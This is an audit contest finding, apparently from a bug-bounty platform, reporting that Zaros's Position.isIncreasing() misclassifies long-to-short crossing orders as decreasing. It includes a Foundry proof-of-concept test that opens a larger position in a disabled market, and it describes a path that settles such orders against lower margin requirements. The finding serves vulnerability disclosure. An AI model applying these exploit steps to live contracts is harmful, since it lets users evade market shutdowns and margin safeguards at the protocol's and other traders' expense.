Zaros Part 1
Zaros
DeFiFoundry
60,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Orders that cross from long to short (or vice versa) will be incorrectly identified as decreasing orders during settlement.

tricko

Summary

The function Position.isIncreasing() has issues handling some edge cases, causing it to incorrectly return false for orders that that cross from long to short (or short to long), even if the resulting position is actually larger than the initial one. This allows increasing orders to be placed in disabled markets or when settlements are disabled, and these orders are subject to smaller margin requirements.

Vulnerability Details

Orders that reduce the size of an existing position are treated differently during settlements. They have lower margin requirements and can be settled even when markets are disabled. However, the Position.isIncreasing() check is flawed, incorrectly identifying some orders as decreasing orders.

The code snippet below from the Position.isIncreasing() function shows that it returns false whenever the sign of the current position (self.size) and sizeDelta are opposite. However, it does not account for cases where the signs are opposite but abs(sizeDelta + self.size) > abs(self.size) i.e the resulting position after order settlement is actually larger than the initial one. Consequently, the true position will increase while the isIncreasing() function incorrectly returns false.

function isIncreasing(
uint128 tradingAccountId,
uint128 marketId,
int128 sizeDelta
)
internal
view
returns (bool)
{
Data storage self = Position.load(tradingAccountId, marketId);
​
return self.size == 0 || (self.size > 0 && sizeDelta > 0) || (self.size < 0 && sizeDelta < 0);
}

This flaw can lead to two possible exploits:

  1. Increase position in disabled markets/settlements: If a user has a long position of size minTradeSize in a disabled market, they should only be able to reduce or close the position. However, if they send a market order with sizeDelta = -3 * minTradeSize, they can create a larger short position even though the market is disabled. (See the POC below. Apply the diff to test/integration/perpetuals/settlement-branch/fillMarketOrder/fillMarketOrder.t.sol and run forge build && forge test –match-test testIsIncreasingPOC).

  2. Reduced Margin Requirements: Malicious users can exploit this to place orders with the maintenanceMargin instead of the InitialMargin. For example, a user wanting to place a short position of size B can first create a minimum trade size long position of size A, and then place another order with sizeDelta = -(B + A). After settlement, they will have a short position of size B. However, due to the flawed isIncreasing() method, this will be treated as a decreasing order, requiring only the maintenanceMargin instead of the initialMargin for order settlement.

POC

diff --git a/test/integration/perpetuals/settlement-branch/fillMarketOrder/fillMarketOrder.t.sol b/test/integration/perpetuals/settlement-branch/fillMarketOrder/fillMarketOrder.t.sol
index 479096a..f8805e3 100644
--- a/test/integration/perpetuals/settlement-branch/fillMarketOrder/fillMarketOrder.t.sol
+++ b/test/integration/perpetuals/settlement-branch/fillMarketOrder/fillMarketOrder.t.sol
@@ -183,6 +183,58 @@ contract FillMarketOrder_Integration_Test is Base_Test {
perpsEngine.fillMarketOrder(tradingAccountId, fuzzMarketConfig.marketId, mockSignedReport);
}
+ function testIsIncreasingPOC() external{
+ // Setup
+ MarketConfig memory fuzzMarketConfig = getFuzzMarketConfig(1);
+ uint256 marginValueUsd = USDC_MIN_DEPOSIT_MARGIN;
+ deal({ token: address(usdc), to: users.naruto.account, give: marginValueUsd });
+ uint128 tradingAccountId = createAccountAndDeposit(marginValueUsd, address(usdc));
+ perpsEngine.createMarketOrder(
+ OrderBranch.CreateMarketOrderParams({
+ tradingAccountId: tradingAccountId,
+ marketId: fuzzMarketConfig.marketId,
+ sizeDelta: int128(fuzzMarketConfig.minTradeSize)
+ })
+ );
+
+ address marketOrderKeeper = marketOrderKeepers[fuzzMarketConfig.marketId];
+ changePrank({ msgSender: marketOrderKeeper });
+ bytes memory mockSignedReport =
+ getMockedSignedReport(fuzzMarketConfig.streamId, fuzzMarketConfig.mockUsdPrice);
+ perpsEngine.fillMarketOrder(tradingAccountId, fuzzMarketConfig.marketId, mockSignedReport);
+ Position.Data memory initialPositionState = PositionHarness(address(perpsEngine)).exposed_Position_load(
+ tradingAccountId, fuzzMarketConfig.marketId
+ );
+ // End of setup
+
+ changePrank({ msgSender: users.owner.account });
+ //1. Owner disables the perp market. All future increasing orders should revert.
+ perpsEngine.updatePerpMarketStatus({ marketId: fuzzMarketConfig.marketId, enable: false });
+
+ changePrank({ msgSender: users.naruto.account });
+ //2. User create market order
+ perpsEngine.createMarketOrder(
+ OrderBranch.CreateMarketOrderParams({
+ tradingAccountId: tradingAccountId,
+ marketId: fuzzMarketConfig.marketId,
+ sizeDelta: -(3 * int128(fuzzMarketConfig.minTradeSize))
+ })
+ );
+
+ changePrank({ msgSender: marketOrderKeeper });
+ //3. Market order is filled sucessfully
+ perpsEngine.fillMarketOrder(tradingAccountId, fuzzMarketConfig.marketId, mockSignedReport);
+
+ Position.Data memory finalPositionState = PositionHarness(address(perpsEngine)).exposed_Position_load(
+ tradingAccountId, fuzzMarketConfig.marketId
+ );
+
+ int256 firstPositionSize = initialPositionState.size;
+ int256 secondPositionSizeAbs = -finalPositionState.size;
+ // Assert that market order increased the user position (abs(finalPositionState.size) > abs(initialPositionState.size))
+ assertGt(secondPositionSizeAbs, firstPositionSize);
+ }
+
modifier givenThePerpMarketIsEnabled() {
_;
}

Impact

Orders that cross from long to short (or vice versa) will be incorrectly identified as decreasing orders, even if the resulting position is actually larger than the initial one. This allows them to be subject to smaller margin requirements and be settled in disabled markets.

Tools Used

Manual Review.

Recommendation

Consider modifying Position.isIncreasing() function to deal better with these edge cases.

Updates

Lead Judging Commences

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Disable market limitation can be bypassed

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.